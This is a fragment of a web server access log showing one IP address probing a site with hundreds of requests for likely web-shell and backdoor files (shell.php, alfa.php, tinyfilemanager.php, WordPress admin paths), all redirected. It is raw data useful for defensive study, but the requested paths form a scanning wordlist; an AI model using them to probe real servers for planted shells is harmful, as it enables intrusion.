/q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:28 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:29 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:30 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:31 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:32 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:33 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:33 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:34 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:36 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:39 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:41 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:43 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:44 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:45 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:46 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:47 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:49 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:50 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:51 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:53 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:55 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:22:58 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:00 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:02 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:05 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:09 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:12 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:14 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:19 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:21 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:22 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:24 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:25 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:26 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:28 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:29 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:31 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:31 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:33 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:34 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:36 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:38 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:39 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:40 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:41 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:41 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:42 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:44 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:45 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:45 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:46 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:47 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:49 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:49 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:51 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:52 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:52 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:54 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:54 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:55 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:56 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:56 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:56 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:57 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:58 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:23:58 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:00 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:01 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:01 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:02 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:03 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:04 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:05 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:06 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:08 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:09 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:11 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:13 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:15 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:17 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:19 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:20 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:22 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:25 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:27 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:28 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:29 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:30 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:32 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:34 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:35 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:35 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:38 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:40 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:41 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:45 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:47 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:49 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:51 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:56 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:24:59 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:02 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:04 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:06 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:10 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:13 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:16 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:19 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:20 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:23 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:24 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:27 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:29 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:31 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:34 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:36 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:39 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:42 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:45 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:47 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:49 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:51 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:54 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:56 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:57 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:25:59 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:02 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:05 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:06 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:07 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:10 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:11 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:13 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:15 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:16 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:20 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:23 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:24 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:26 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:27 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:28 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:30 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:31 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:33 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:34 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:35 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:36 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:38 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:40 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:41 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:42 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:44 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:46 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:47 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:48 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:50 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:52 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:54 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:55 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:55 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:56 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:57 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:58 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:58 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:26:59 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:00 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:00 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:01 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:02 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:03 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:05 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:06 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:08 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:09 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:09 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:12 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:14 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:14 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:15 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:16 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:18 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:19 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:21 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:22 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:24 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:25 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:26 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:27 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:27 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:28 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:30 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:32 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:34 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:35 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:36 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:38 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:39 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:40 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:42 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:44 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:49 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:53 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:55 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:56 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:56 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:57 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:58 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:59 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:27:59 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:00 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:01 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:03 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:04 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:05 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:06 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:07 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:11 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:16 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:20 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:22 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:26 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:30 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:33 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:36 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:38 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:41 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:44 -0400] "GET /wp-admin/images/index.php 